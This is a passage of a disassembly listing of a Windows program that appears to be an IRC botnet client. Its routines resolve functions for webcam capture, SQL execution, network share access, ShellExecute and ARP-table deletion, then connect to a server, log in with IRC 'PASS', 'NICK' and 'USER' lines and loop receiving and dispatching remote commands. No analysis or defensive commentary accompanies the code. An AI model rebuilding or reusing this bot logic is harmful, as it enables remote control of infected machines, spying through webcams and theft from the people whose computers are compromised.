jz short loc_401D85
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_4441F0, eax
call esi ; GetProcAddress
cmp ds:dword_4441F0, ebx
mov ds:dword_44416C, eax
jz short loc_401D90
cmp eax, ebx
jnz short loc_401D9A
jmp short loc_401D90
; ---------------------------------------------------------------------------
loc_401D85: ; CODE XREF: sub_4012D6+A85j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4442A8, eax
loc_401D90: ; CODE XREF: sub_4012D6+AA7j
; sub_4012D6+AADj
mov ds:dword_4442A4, 1
loc_401D9A: ; CODE XREF: sub_4012D6+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401DCF
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_44410C, eax
call esi ; GetProcAddress
cmp ds:dword_44410C, ebx
mov ds:dword_444174, eax
jz short loc_401DDA
cmp eax, ebx
jnz short loc_401DE4
jmp short loc_401DDA
; ---------------------------------------------------------------------------
loc_401DCF: ; CODE XREF: sub_4012D6+ACFj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4442B0, eax
loc_401DDA: ; CODE XREF: sub_4012D6+AF1j
; sub_4012D6+AF7j
mov ds:dword_4442AC, 1
loc_401DE4: ; CODE XREF: sub_4012D6+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401E43
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_4441AC, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_444240, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_4440D8, eax
call esi ; GetProcAddress
cmp ds:dword_4441AC, ebx
mov ds:dword_444090, eax
jz short loc_401E4E
cmp ds:dword_444240, ebx
jz short loc_401E4E
cmp ds:dword_4440D8, ebx
jz short loc_401E4E
cmp eax, ebx
jnz short loc_401E58
jmp short loc_401E4E
; ---------------------------------------------------------------------------
loc_401E43: ; CODE XREF: sub_4012D6+B19j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4442B8, eax
loc_401E4E: ; CODE XREF: sub_4012D6+B55j
; sub_4012D6+B5Dj ...
mov ds:dword_4442B4, 1
loc_401E58: ; CODE XREF: sub_4012D6+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401E8D
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_444214, eax
call esi ; GetProcAddress
cmp ds:dword_444214, ebx
mov ds:dword_4440D0, eax
jz short loc_401E98
cmp eax, ebx
jnz short loc_401EA2
jmp short loc_401E98
; ---------------------------------------------------------------------------
loc_401E8D: ; CODE XREF: sub_4012D6+B8Dj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4442C0, eax
loc_401E98: ; CODE XREF: sub_4012D6+BAFj
; sub_4012D6+BB5j
mov ds:dword_4442BC, 1
loc_401EA2: ; CODE XREF: sub_4012D6+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401F2B
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_4441F8, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_4440B4, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_444210, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_444128, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_4441BC, eax
call esi ; GetProcAddress
cmp ds:dword_4441F8, ebx
mov ds:dword_4440C4, eax
jz short loc_401F36
cmp ds:dword_4440B4, ebx
jz short loc_401F36
cmp ds:dword_444210, ebx
jz short loc_401F36
cmp ds:dword_444128, ebx
jz short loc_401F36
cmp ds:dword_4441BC, ebx
jz short loc_401F36
cmp eax, ebx
jnz short loc_401F40
jmp short loc_401F36
; ---------------------------------------------------------------------------
loc_401F2B: ; CODE XREF: sub_4012D6+BD7j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4442C8, eax
loc_401F36: ; CODE XREF: sub_4012D6+C2Dj
; sub_4012D6+C35j ...
mov ds:dword_4442C4, 1
loc_401F40: ; CODE XREF: sub_4012D6+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401F75
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov ds:dword_444138, eax
call esi ; GetProcAddress
cmp ds:dword_444138, ebx
mov ds:dword_44419C, eax
jz short loc_401F80
cmp eax, ebx
jnz short loc_401F8A
jmp short loc_401F80
; ---------------------------------------------------------------------------
loc_401F75: ; CODE XREF: sub_4012D6+C75j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4442D0, eax
loc_401F80: ; CODE XREF: sub_4012D6+C97j
; sub_4012D6+C9Dj
mov ds:dword_4442CC, 1
loc_401F8A: ; CODE XREF: sub_4012D6+C9Bj
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
retn
sub_4012D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F92 proc near ; CODE XREF: sub_40274D+2349p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp ds:dword_444264, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_401FDA
push ds:dword_444268
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_401FDA: ; CODE XREF: sub_401F92+1Aj
cmp ds:dword_44426C, esi
jz short loc_40200E
push ds:dword_444270
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_40200E: ; CODE XREF: sub_401F92+4Ej
cmp ds:dword_444274, esi
jz short loc_402042
push ds:dword_444278
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_402042: ; CODE XREF: sub_401F92+82j
cmp ds:dword_44427C, esi
jz short loc_402076
push ds:dword_444280
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_402076: ; CODE XREF: sub_401F92+B6j
cmp ds:dword_444284, esi
jz short loc_4020AA
push ds:dword_444288
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_4020AA: ; CODE XREF: sub_401F92+EAj
cmp ds:dword_44428C, esi
jz short loc_4020DE
push ds:dword_444290
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_4020DE: ; CODE XREF: sub_401F92+11Ej
cmp ds:dword_444294, esi
jz short loc_402112
push ds:dword_444298
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_402112: ; CODE XREF: sub_401F92+152j
cmp ds:dword_44429C, esi
jz short loc_402146
push ds:dword_4442A0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_402146: ; CODE XREF: sub_401F92+186j
cmp ds:dword_4442A4, esi
jz short loc_40217A
push ds:dword_4442A8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_40217A: ; CODE XREF: sub_401F92+1BAj
cmp ds:dword_4442AC, esi
jz short loc_4021AE
push ds:dword_4442B0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_4021AE: ; CODE XREF: sub_401F92+1EEj
cmp ds:dword_4442B4, esi
jz short loc_4021E2
push ds:dword_4442B8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_4021E2: ; CODE XREF: sub_401F92+222j
cmp ds:dword_4442BC, esi
jz short loc_402216
push ds:dword_4442C0
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_402216: ; CODE XREF: sub_401F92+256j
cmp ds:dword_4442C4, esi
jz short loc_40224A
push ds:dword_4442C8
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_40224A: ; CODE XREF: sub_401F92+28Aj
cmp ds:dword_4442CC, esi
jz short loc_40227E
push ds:dword_4442D0
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41E6A6
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 20h
loc_40227E: ; CODE XREF: sub_401F92+2BEj
lea eax, [ebp+var_200]
push offset unk_42BF4C
push eax
call sub_41E6A6
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_4022AB
push esi
push edi
lea eax, [ebp+var_200]
push eax
push ebx
push [ebp+arg_0]
call sub_40123B
add esp, 14h
loc_4022AB: ; CODE XREF: sub_401F92+302j
lea eax, [ebp+var_200]
push eax
call sub_417D70
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_401F92 endp
; =============== S U B R O U T I N E =======================================
sub_4022BD proc near ; CODE XREF: sub_4025EF+136p
; sub_40274D+59AFp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_4022E5
push [esp+arg_0]
call ds:dword_444168 ; gethostbyname
test eax, eax
jnz short loc_4022DE
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4022DE: ; CODE XREF: sub_4022BD+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_4022E5: ; CODE XREF: sub_4022BD+Dj
retn
sub_4022BD endp
; =============== S U B R O U T I N E =======================================
sub_4022E6 proc near ; CODE XREF: sub_4025EF+A2p
mov ecx, ds:dword_4441F0
xor eax, eax
test ecx, ecx
jz short locret_4022F4
jmp ecx
; ---------------------------------------------------------------------------
locret_4022F4: ; CODE XREF: sub_4022E6+Aj
retn
sub_4022E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_4022F5 proc near ; CODE XREF: sub_40274D:loc_4049BFp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
lea ebp, [esp-78h]
sub esp, 88h
push ebx
push esi
push edi
xor ebx, ebx
inc ebx
push ebx
lea eax, [ebp+78h+var_8]
xor edi, edi
push eax
push edi
xor esi, esi
mov [ebp+78h+var_8], edi
mov [ebp+78h+var_4], ebx
call ds:dword_44410C ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40237B
sub ecx, 32h
jz loc_4023C2
sub ecx, 48h
jz short loc_402350
sub ecx, 6Eh
jz short loc_402349
loc_402335: ; CODE XREF: sub_4022F5+84j
push eax
lea eax, [ebp+78h+var_88]
push offset unk_42C160
push eax
call sub_41E6A6
add esp, 0Ch
jmp short loc_4023A3
; ---------------------------------------------------------------------------
loc_402349: ; CODE XREF: sub_4022F5+3Ej
push offset unk_42C13C
jmp short loc_402398
; ---------------------------------------------------------------------------
loc_402350: ; CODE XREF: sub_4022F5+39j
push [ebp+78h+var_8]
call sub_41E5D3
push [ebp+78h+var_8]
mov esi, eax
push edi
push esi
call sub_41E5F0
add esp, 10h
cmp esi, edi
jz short loc_402393
push ebx
lea eax, [ebp+78h+var_8]
push eax
push esi
call ds:dword_44410C ; GetIpNetTable
cmp eax, edi
jnz short loc_402335
loc_40237B: ; CODE XREF: sub_4022F5+2Bj
cmp [esi], edi
jbe short loc_4023B0
lea ebx, [esi+4]
loc_402382: ; CODE XREF: sub_4022F5+9Aj
push ebx
call ds:dword_444174 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_402382
jmp short loc_4023B0
; ---------------------------------------------------------------------------
loc_402393: ; CODE XREF: sub_4022F5+74j
push offset unk_42C10C
loc_402398: ; CODE XREF: sub_4022F5+59j
; sub_4022F5+D2j
lea eax, [ebp+78h+var_88]
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_4023A3: ; CODE XREF: sub_4022F5+52j
lea eax, [ebp+78h+var_88]
push eax
mov [ebp+78h+var_4], edi
call sub_417D70
pop ecx
loc_4023B0: ; CODE XREF: sub_4022F5+88j
; sub_4022F5+9Cj
push esi
call sub_41E2A1
mov eax, [ebp+78h+var_4]
pop ecx
pop edi
pop esi
pop ebx
add ebp, 78h
leave
retn
; ---------------------------------------------------------------------------
loc_4023C2: ; CODE XREF: sub_4022F5+30j
push offset unk_42C0DC
jmp short loc_402398
sub_4022F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4023C9 proc near ; CODE XREF: sub_40274D+2037p
; sub_40274D+2162p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
push eax
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call ds:dword_444068 ; getsockname
movzx eax, [ebp+var_D]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
mov esi, offset dword_4442D4
push esi
call sub_41E6A6
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_4023C9 endp
; =============== S U B R O U T I N E =======================================
sub_402422 proc near ; CODE XREF: sub_415825+29Fp
; sub_415825+2D9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40244D
lea eax, [ecx-2]
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+4+arg_0]
push edi
loc_402440: ; CODE XREF: sub_402422+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_402440
pop edi
jmp short loc_402451
; ---------------------------------------------------------------------------
loc_40244D: ; CODE XREF: sub_402422+Aj
mov esi, [esp+4+arg_0]
loc_402451: ; CODE XREF: sub_402422+29j
test ecx, ecx
jz short loc_40245A
movzx eax, byte ptr [esi]
add edx, eax
loc_40245A: ; CODE XREF: sub_402422+31j
mov ecx, edx
shr ecx, 10h
and edx, 0FFFFh
add ecx, edx
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
pop esi
retn
sub_402422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=58h
sub_402472 proc near ; CODE XREF: sub_4025EF+E0p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov eax, 1A90h
lea ebp, [esp-58h]
call sub_41EA20
push esi
xor esi, esi
push 3
mov [ebp+58h+var_8], esi
lea eax, [ebp+58h+var_2C0]
pop ecx
loc_402490: ; CODE XREF: sub_402472+27j
mov byte ptr [eax], 0
add eax, 80h
dec ecx
jnz short loc_402490
cmp ds:byte_4D1FD8, 0
jz short loc_4024B9
push offset byte_4D1FD8
push offset aPassS ; "PASS %s\r\n"
push [ebp+58h+arg_0]
call sub_4011F5
add esp, 0Ch
loc_4024B9: ; CODE XREF: sub_402472+30j
push [ebp+58h+arg_C]
lea eax, [ebp+58h+var_20]
push esi
push esi
push 2
push eax
call sub_40AB83
add esp, 10h
push eax
push [ebp+58h+arg_C]
lea eax, [ebp+58h+var_A0]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41E6A6
add esp, 14h
lea eax, [ebp+58h+var_A0]
push esi
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+58h+var_A0]
push eax
push [ebp+58h+arg_0]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40251A
push [ebp+58h+arg_0]
call ds:dword_444218 ; closesocket
push 1388h
call ds:dword_42B014 ; Sleep
xor eax, eax
jmp loc_4025E9
; ---------------------------------------------------------------------------
loc_40251A: ; CODE XREF: sub_402472+8Bj
push ebx
push edi
mov ebx, 1000h
jmp loc_4025B0
; ---------------------------------------------------------------------------
loc_402526: ; CODE XREF: sub_402472+163j
lea eax, [ebp+58h+var_A90]
push eax
lea eax, [ebp+58h+var_1A90]
push eax
call sub_41AC0E
cmp eax, esi
pop ecx
pop ecx
mov [ebp+58h+var_C], eax
mov [ebp+58h+var_4], esi
jle short loc_4025B0
lea edi, [ebp+58h+var_A90]
loc_40254B: ; CODE XREF: sub_402472+13Aj
xor esi, esi
inc esi
loc_40254E: ; CODE XREF: sub_402472+11Dj
push [ebp+58h+arg_1C]
lea eax, [ebp+58h+var_8]
push esi
push eax
lea eax, [ebp+58h+var_140]
push eax
lea eax, [ebp+58h+var_2C0]
push eax
push [ebp+58h+arg_18]
push [ebp+58h+arg_C]
push [ebp+58h+arg_8]
push [ebp+58h+arg_4]
push [ebp+58h+arg_0]
push dword ptr [edi]
call sub_40274D
add esp, 2Ch
dec eax
mov esi, eax
test esi, esi
jle short loc_402591
push 7D0h
call ds:dword_42B014 ; Sleep
jmp short loc_40254E
; ---------------------------------------------------------------------------
loc_402591: ; CODE XREF: sub_402472+110j
cmp esi, 0FFFFFFFDh
jz short loc_4025E4
cmp esi, 0FFFFFFFEh
jz short loc_4025DF
cmp esi, 0FFFFFFFFh
jz short loc_4025DB
inc [ebp+58h+var_4]
mov eax, [ebp+58h+var_4]
add edi, 4
cmp eax, [ebp+58h+var_C]
jl short loc_40254B
xor esi, esi
loc_4025B0: ; CODE XREF: sub_402472+AFj
; sub_402472+D1j
push ebx
lea eax, [ebp+58h+var_1A90]
push esi
push eax
call sub_41E5F0
add esp, 0Ch
push esi
push ebx
lea eax, [ebp+58h+var_1A90]
push eax
push [ebp+58h+arg_0]
call ds:dword_444064 ; recv
test eax, eax
jg loc_402526
loc_4025DB: ; CODE XREF: sub_402472+12Cj
xor eax, eax
jmp short loc_4025E7
; ---------------------------------------------------------------------------
loc_4025DF: ; CODE XREF: sub_402472+127j
xor eax, eax
inc eax
jmp short loc_4025E7
; ---------------------------------------------------------------------------
loc_4025E4: ; CODE XREF: sub_402472+122j
push 2
pop eax
loc_4025E7: ; CODE XREF: sub_402472+16Bj
; sub_402472+170j
pop edi
pop ebx
loc_4025E9: ; CODE XREF: sub_402472+A3j
pop esi
add ebp, 58h
leave
retn
sub_402472 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_4025EF proc near ; CODE XREF: sub_40A263+4D0p
; DATA XREF: sub_40274D+6340o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 190h
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_190]
rep movsd
mov dword ptr [eax+160h], 1
jmp loc_4026FB
; ---------------------------------------------------------------------------
loc_40261B: ; CODE XREF: sub_4025EF+141j
push 1Ch
lea eax, [ebp+74h+var_2C]
push 0
push eax
call sub_41E5F0
push 0
push ds:dword_43C098
lea eax, [ebp+74h+var_2C]
push ds:dword_43C094
push eax
call sub_40AB83
mov edi, eax
mov eax, [ebp+74h+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_444500
push edi
push eax
call sub_41E860
add esp, 28h
push 6
push 1
push 2
call ds:dword_444100 ; socket
mov esi, eax
mov eax, [ebp+74h+var_34]
imul eax, 234h
mov ds:dword_4444F4[eax], esi
push 10h
lea eax, [ebp+74h+var_10]
push eax
push esi
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40269D
push esi
call ds:dword_444218 ; closesocket
call sub_4022E6
push 7D0h
jmp short loc_4026EE
; ---------------------------------------------------------------------------
loc_40269D: ; CODE XREF: sub_4025EF+99j
lea eax, [ebp+74h+var_18C]
push eax
push offset unk_42C6BC
call sub_417DE4
push [ebp+74h+var_38]
lea eax, [ebp+74h+var_18C]
push eax
lea eax, [ebp+74h+var_8C]
push eax
push [ebp+74h+var_190]
lea eax, [ebp+74h+var_CC]
push edi
push eax
lea eax, [ebp+74h+var_10C]
push eax
push esi
call sub_402472
add esp, 28h
push esi
mov edi, eax
call ds:dword_444218 ; closesocket
test edi, edi
jz short loc_4026FB
cmp edi, 1
jnz short loc_4026F6
push 0DBBA0h
loc_4026EE: ; CODE XREF: sub_4025EF+ACj
call ds:dword_42B014 ; Sleep
jmp short loc_4026FB
; ---------------------------------------------------------------------------
loc_4026F6: ; CODE XREF: sub_4025EF+F8j
cmp edi, 2
jz short loc_402738
loc_4026FB: ; CODE XREF: sub_4025EF+27j
; sub_4025EF+F3j ...
push 10h
lea eax, [ebp+74h+var_10]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
push [ebp+74h+var_3C]
mov [ebp+74h+var_10], 2
call ds:dword_444260 ; htons
mov [ebp+74h+var_E], ax
lea eax, [ebp+74h+var_18C]
push eax
call sub_4022BD
test eax, eax
pop ecx
mov [ebp+74h+var_C], eax
jnz loc_40261B
jmp short loc_402744
; ---------------------------------------------------------------------------
loc_402738: ; CODE XREF: sub_4025EF+10Aj
push [ebp+74h+var_34]
call sub_40B149
pop ecx
push 2
pop eax
loc_402744: ; CODE XREF: sub_4025EF+147j
pop edi
pop esi
add ebp, 74h
leave
retn 4
sub_4025EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=4Ch
sub_40274D proc near ; CODE XREF: sub_402472+103p
var_5D90 = byte ptr -5D90h
var_5990 = byte ptr -5990h
var_5590 = byte ptr -5590h
var_5400 = byte ptr -5400h
var_5200 = byte ptr -5200h
var_50FC = byte ptr -50FCh
var_4FFC = byte ptr -4FFCh
var_4EF8 = byte ptr -4EF8h
var_4DF8 = byte ptr -4DF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF8 = byte ptr -4AF8h
var_48F8 = byte ptr -48F8h
var_47F4 = byte ptr -47F4h
var_46F4 = byte ptr -46F4h
var_45F4 = byte ptr -45F4h
var_4590 = byte ptr -4590h
var_4390 = byte ptr -4390h
var_4290 = byte ptr -4290h
var_4190 = byte ptr -4190h
var_4090 = byte ptr -4090h
var_3F90 = dword ptr -3F90h
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E88 = byte ptr -3E88h
var_3E08 = byte ptr -3E08h
var_3D88 = byte ptr -3D88h
var_3D08 = dword ptr -3D08h
var_3D04 = dword ptr -3D04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = byte ptr -3CF8h
var_3C78 = byte ptr -3C78h
var_3B74 = byte ptr -3B74h
var_3A70 = dword ptr -3A70h
var_3A6C = dword ptr -3A6Ch
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = byte ptr -3A5Ch
var_37D5 = byte ptr -37D5h
var_37D4 = byte ptr -37D4h
var_36D0 = dword ptr -36D0h
var_36C8 = dword ptr -36C8h
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B4 = dword ptr -36B4h
var_36B0 = dword ptr -36B0h
var_36AC = byte ptr -36ACh
var_362C = byte ptr -362Ch
var_35AC = byte ptr -35ACh
var_352C = byte ptr -352Ch
var_34AC = dword ptr -34ACh
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = byte ptr -3498h
var_3418 = byte ptr -3418h
var_3398 = byte ptr -3398h
var_3318 = byte ptr -3318h
var_3298 = dword ptr -3298h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = byte ptr -3284h
var_3204 = byte ptr -3204h
var_3184 = byte ptr -3184h
var_3104 = byte ptr -3104h
var_3084 = dword ptr -3084h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = byte ptr -3070h
var_2FF0 = byte ptr -2FF0h
var_2F70 = byte ptr -2F70h
var_2EF0 = byte ptr -2EF0h
var_2E70 = dword ptr -2E70h
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = byte ptr -2E60h
var_2D5C = dword ptr -2D5Ch
var_2D58 = byte ptr -2D58h
var_2C54 = byte ptr -2C54h
var_2B50 = dword ptr -2B50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = byte ptr -2B44h
var_2AC4 = dword ptr -2AC4h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB0 = byte ptr -2AB0h
var_2998 = byte ptr -2998h
var_2918 = dword ptr -2918h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = byte ptr -2900h
var_2880 = byte ptr -2880h
var_2780 = byte ptr -2780h
var_2680 = dword ptr -2680h
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = byte ptr -2658h
var_25D8 = byte ptr -25D8h
var_24D8 = byte ptr -24D8h
var_23D8 = dword ptr -23D8h
var_23D4 = dword ptr -23D4h
